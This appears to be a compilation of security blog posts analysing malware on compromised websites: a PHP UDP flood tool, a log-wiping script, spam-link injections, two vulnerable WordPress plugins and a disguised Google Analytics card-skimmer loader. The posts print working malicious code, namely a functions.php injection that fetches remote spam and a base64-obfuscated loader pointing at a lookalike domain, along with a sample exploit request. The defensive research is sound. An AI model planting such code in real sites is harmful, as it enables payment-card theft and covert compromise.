DoS Tool: 403.php

One of our analysts, Kaushal Bhavsar, found a malicious DoS file within a compromised website’s filesystem under the filename 403.php.

malicious DoS under the filename 403.php

The file attempts to conceal itself from casual viewers by loading a blank white page whenever a visitor loads the file directly in their browser.

To execute malicious code in the file, the visitor needs to pass two URL parameter values, time and host, through a submitted GET request. These two variables store modifiable values for the DoS attack, which the attacker can execute when they submit their request.

The time and host values let the PHP script know how long to run the attack (time) and against whom (host). Once the attacker knows the values they want to use, they can simply submit a GET request with the special parameter values.

Here is an example of a successful attack request shown in the browser, but this request could be sent from any HTTP client.

malicious DoS using GET request with special parameter values

A single website with this malicious file is not much of a threat to most servers and can be quickly blocked, but unprotected servers or clients could face issues if under attack from many different infected websites or host devices (e.g botnet).

The tool performs the attack by flooding UDP packets to the host through a port randomly chosen between 1-65000.

malicious DoS tool performs attack by flooding UDP packets to the host

Clean Logs After Rooting Bash Script

During an active research investigation, we found an interesting bash script described by the author as Clean Logs After Rooting.

This script is used once an attacker has gained unauthorized root access to the server to scrub logs and prevent a website administrator from detecting such unauthorized access.

First, the script stops the server’s logging service located at /etc/init.d/rsyslog.

clean logs after root disable /etc/init.d/rsyslog

It then echos matikan system log, the word for disable in Indonesian, to notify the attacker that the service has stopped.

clean logs after root overwrite log data

After a 2 second pause, it cycles through a list of common logs located in the /var/log/ directory to see if they exist or not:

wtmp
btmp
lastlog
messages
secure
up2date
tallylog
mcelog
kernellog
cron

If the logs exist, then the script uses echo > on the log entry files to tell the system to echo empty file content, essentially overwriting all existing log data for those files.

It then accesses logs from the web server and overwrites all existing log data from those locations.

clean logs after root disable common logs

Because logging has been disabled, no additional information will be populated in any of the log locations.

The script also contains some special commands for cPanel environments. The bash terminal command chattr -ia is used to unlock the cPanel files by changing the file attributes. It also wipes data from cPanel logs used for monitoring various server activity.

clean logs after root wipe cPanel

To further prevent detection of unauthorized access, the script then clears the bash history with the history -c command.

This bash script is especially dangerous for VPS and dedicated environments, since root access is not controlled by the web host and they are typically not as hardened as shared hosting servers.

Size for Opera: Hiding Spammy Links

There are many different tricks hackers use to make injected spam links invisible to regular visitors.

Below is an example employed by one link spam campaign, which primarily promotes porn, torrents, and pharma.

We’re finding links like these inside various HTML tags with short, random ids:

<span id="4CN8d"><a href="hxxps://youjizz[.]center">teen girls</a> busty ebony chick.</span>
….
<section id="Xwy2w"><a href="hxxps://youjizz[.]center" title="hot teens">hxxps://youjizz[.]center</a><br>
<a href="hxxps://www.thefappeninggirls[.]com">fappening 2020</a> alexa gets her cumshot.<br></section>
….
<span id="hgPdT">
                <a href="hxxp://yourbunny[.]mobi/">hxxp://yourbunny[.]mobi/</a> <br/>
        <a href="hxxp://lime-torrents[.]org">hxxp://lime-torrents[.]org</a> <br/>
        <a href="hxxp://kickasstorrente[.]net" rel="nofollow">kickass</a>
</span>

To hide the links, hackers injects scripts with misleading code.

For example, the following snippet tries to set the size of the spam link element to something entirely fictitious: size_for("Opera")

Code that hides the links

It even contains a function that counts the size. However, not only is the code unrelated to the Opera browser, it’s also erroneous because of the use of the undefined “sum” function.

This error is there “by design”. The code that invokes the size_for function is placed in the try...catch...finally block. No matter what happens in these try and catch blocks, it will always fall back to the finally section, which sets the “display” style of the element to “none”.

In another wave of link injections, this same campaign uses a combination of the following two scripts:

Two-piece spam hiding script

The first script defines the function end_(), which uses a misleadingly named function get_style() to hide the spam element. The second script is injected further in the HTML code to invoke the end_() function and conceal the spam.

At the time of writing, PublicWWW shows over a thousand websites with injected links from this campaign:

Unauthenticated settings update in woocommerce-ajax-filters

woocommerce-ajax-filters, which currently has over 10,000 installations (versions <=1.3.6) allows unauthenticated attackers to arbitrarily update all the plugin options and redirect any user to an external malicious URL when the product section is visited. The bug takes advantage of a misunderstanding of the admin_init hook’s execution context.

if( is_admin() ) {
      require_once dirname( __FILE__ ) . '/includes/wizard.php';
}
[...]

function wizard_selectors($wizard) {
[...]
 <div class="wizard_custom_js_css" style="display: none;">
    <h3><?php _e('User custom CSS style', 'BeRocket_AJAX_domain') ?></h3>
    <textarea name="berocket_aapf_wizard_settings[user_custom_css]">
        <?php echo br_get_value_from_array($option, array('user_custom_css')) ?>
    </textarea>
    <h3><?php _e('JavaScript Before Products Update', 'BeRocket_AJAX_domain') ?></h3>
    <textarea name="berocket_aapf_wizard_settings[user_func][before_update]">
        <?php echo br_get_value_from_array($option, array('user_func', 'before_update')) ?>
    </textarea>
    <h3><?php _e('JavaScript On Products Update', 'BeRocket_AJAX_domain') ?></h3>
    <textarea name="berocket_aapf_wizard_settings[user_func][on_update]">
        <?php echo br_get_value_from_array($option, array('user_func', 'on_update')) ?>
    </textarea>
    <h3><?php _e('JavaScript After Products Update', 'BeRocket_AJAX_domain') ?></h3>
    <textarea name="berocket_aapf_wizard_settings[user_func][after_update]">
        <?php echo br_get_value_from_array($option, array('user_func', 'after_update')) ?>
    </textarea>
</div>

[...]

What's the problem with the code above?

  • Developer assumed that WordPress’s admin_init hook are only called when an administrator user visited a page inside /wp-admin/
  • The plugin settings allow users to add custom javascript code

A patch was released a few days ago to address this vulnerability.

Because of the nature of the bug, specifically it’s severity, we will not be disclosing additional details. We are seeing malicious requests being used in the wild. While most of them target /wp-admin/admin-post.php, other endpoints in the /wp-admin/ directory can be used to trigger the admin_init hook and exploit the vulnerability.

Malicious IPs attacking this plugin:

175.126.62.37
104.238.99.130
45.32.104.33
139.99.106.10
153.126.194.159
162.241.175.243
51.68.204.149
162.243.165.84
142.44.151.107
186.202.161.191
46.105.17.29
192.169.243.42
186.202.161.191
159.65.65.204
192.30.164.48
51.158.72.203
178.62.93.109
139.59.116.30
213.128.89.176
138.68.181.84

If you have an old version of this plugin installed please update to the latest version (1.3.7) asap. You can add a WAF as a second layer of protection and virtually patch the vulnerability.

Lack of controls when using WordPress’ update_option() with...

As mentioned in recent posts, WordPress’ update_option() function is used to update any option in the options database table. If the permission flow when using this function isn’t correctly implemented by developers, attackers can gain admin access or inject arbitrary data into any site.

This is the case for the plugin Login or Logout Menu Item, which currently has over 10,000 installations (versions <= 1.1.1). This vulnerability allows unauthenticated attackers to arbitrarily update some plugin options and redirect any user to an external malicious URL.

function lolmi_save_settings() { 
if(isset($_POST['lolmi_settings_submit'])) { 

$login_page_url = (isset($_POST['lolmi_login_page_url']) && !empty($_POST['lolmi_login_page_url'])) ? $_POST['lolmi_login_page_url'] : wp_login_url(); $login_redirect_url = (isset($_POST['lolmi_login_redirect_url']) && !empty($_POST['lolmi_login_redirect_url'])) ? $_POST['lolmi_login_redirect_url'] : home_url(); $logout_redirect_url = (isset($_POST['lolmi_logout_redirect_url']) && !empty($_POST['lolmi_logout_redirect_url'])) ? $_POST['lolmi_logout_redirect_url'] : home_url(); 

update_option('lolmi_login_page_url', esc_url_raw($login_page_url)); 
update_option('lolmi_login_redirect_url', esc_url_raw($login_redirect_url));
update_option('lolmi_logout_redirect_url', esc_url_raw($logout_redirect_url)); 

[...]
} 
}

What's the problem with the function above?

  • It updates the key “_lolmi_login_pageurl” with any value provided by the user
  • Does not check for capability
  • Does not check nonce

A patch was released on August 5th, 2019 to address this vulnerability:

--Version: 1.1.1
++Version: 1.2.0
Plugin URI: https://caseproof.com

[…]
 ++ <?php wp_nonce_field('lolmi_nonce'); ?>
<input type="submit" id="lolmi_settings_submit" name="lolmi_settings_submit" value="<?php _e('Save Settings', 'lolmi'); ?>" class="button button-primary" />
</form>
[…]      
function lolmi_save_settings() {
 if(isset($_POST['lolmi_settings_submit'])) {
++if(!current_user_can('manage_options')) { die("Cheating eh?"); }
++check_admin_referer('lolmi_nonce');
[...]

With just a few lines of code in the right place, developers can avoid security issues related to the misuse of this function and keep their users safe.

These kind of bugs are always the first choice for bad actors—they don’t need any authentication on the site, it’s monetizable, and really easy to automate.

Here's how they are exploiting this particular bug in old versions of the plugin Login or Logout Menu Item:

192.169.157.142 - lolmi_settings_submit=1&lolmi_login_page_url=http[:]//gabriellalovecats[.]com/wp-login.php [0/Aug/2019] "POST /wp-admin/admin-post.php?action=lolmi_save_settings HTTP/1.1"

Shoesinfy Spam Injections

Lately, we've seen quite a few sites with injected spammy links that follow this format:

<div style="position: absolute; opacity: 0.001; z-index: 10; filter: alpha(opacity=0);">
<a href="https://www.shoesfindoutlet[.]co/">www.shoesfindoutlet[.]co</a>
<a href="https://www.stepperbest[.]com/">stepper motor</a>
</div>

The spammy domains may change from time to time but the entire format — and trick to make the content invisible — remains the same.

When we clean infected WordPress sites related to this campaign, we find malicious code similar to the following snippet injected into the active theme's function.php file.

<?php
function add_my_custom_script(){
$url_current = "https://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
?>
 <?php
    $url5 = "https://<compromised-site>/";
    if($url_current == $url5){ 
    $file = file_get_contents('http://www.shoesinfy[.]com/<compromised-site1>.txt');
    echo $file;
    ?>

<?php 
}
else
{
    $file = file_get_contents('http://www.shoesinfy[.]com/<compromised-site>.txt');
    echo $file;
}
?>

<?php
}
add_action('wp_footer', 'add_my_custom_script');

The block with spammy links is fetched from the remote shoesinfy[.]com site, allowing attackers to modify the injected code without accessing the site.

Moreover, each compromised site has its own text file with links on shoesinfy[.]com (found as shoesinfy[.]com/domain.tld1.txt). This text file allows bad actors to customize their spam injections across different compromised sites.

Google Analytics Swiper Disguised as Legitimate Traffic

At first glance, this short script looks like benign Google Analytics code:

<script type="text/javascript">
    (function() {
        var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
        ga.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'www.google-analytics.com/analytics.js';
        ga.src = ga.src.replace(window.atob('Z29vZ2xlLWFuYWx5dGljcy5jb20'), window.atob('Z29vZ2xjLWFuYWx5dGljcy5jbS92Lw=='));
        (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(ga);
    })();

    var _qaq = _qaq || [];

_qaq.push(['_setAccount', 'UA-33088787-1']);
_qaq.push(['_trackPageview']);
</script>

However, if you inspect it thoroughly, you’ll notice two important details:

  1. The actual Google Analytics code has different format
  2. There is a line of code with base64-encoded values
ga.src = ga.src.replace(window.atob('Z29vZ2xlLWFuYWx5dGljcy5jb20v'), window.atob('Z29vZ2xjLWFuYWx5dGljcy5jbS92Lw=='));

The first value (Z29vZ2xlLWFuYWx5dGljcy5jb20v) decodes to “google-analytics.com/” - still benign.

The second value (Z29vZ2xjLWFuYWx5dGljcy5jbS92Lw==) is more suspicious — “googlc-analytics[.]cm/v/” . While it appears to belong to the Analytics domain, it contains a typo in the Google name and the TLD is .cm instead of .com.

This string of code replaces the publicly visible www.google-analytics.com/analytics.js URL with the malicious www.googlc-analytics[.]cm/v/analytics.js link.

At this point, the malicious link currently returns an old version of the real Google Analytics script. However, if you request the analytics.js file (without /v/) on the same server, you’ll get a credit card stealing script.

The script sends stolen data to the hxxps://www.googlc-analytics[.]cm/__utm.gif?v=1…. URL, which looks similar to Google tracking pixel URL. And if you request it directly, it will actually return a tiny gif image.

This trick allows malicious URLs look indistinguishable from legitimate traffic when people manually check requests generated by a web page. The URLs appear to be a real Google Analytics URL and return the content that you may expect from real Google Analytics URLs. Nonetheless, they are malicious and steal credit card details and credentials from forms when used on webpages that contain the following keywords in their URLs:

  • onepage
  • checkout
  • onestep
  • payment
  • admin
  • account
  • login
  • password
  • cart

Google Analytics is often used to camouflage various types of malicious injections. Here are some other examples that we’ve recently blogged about: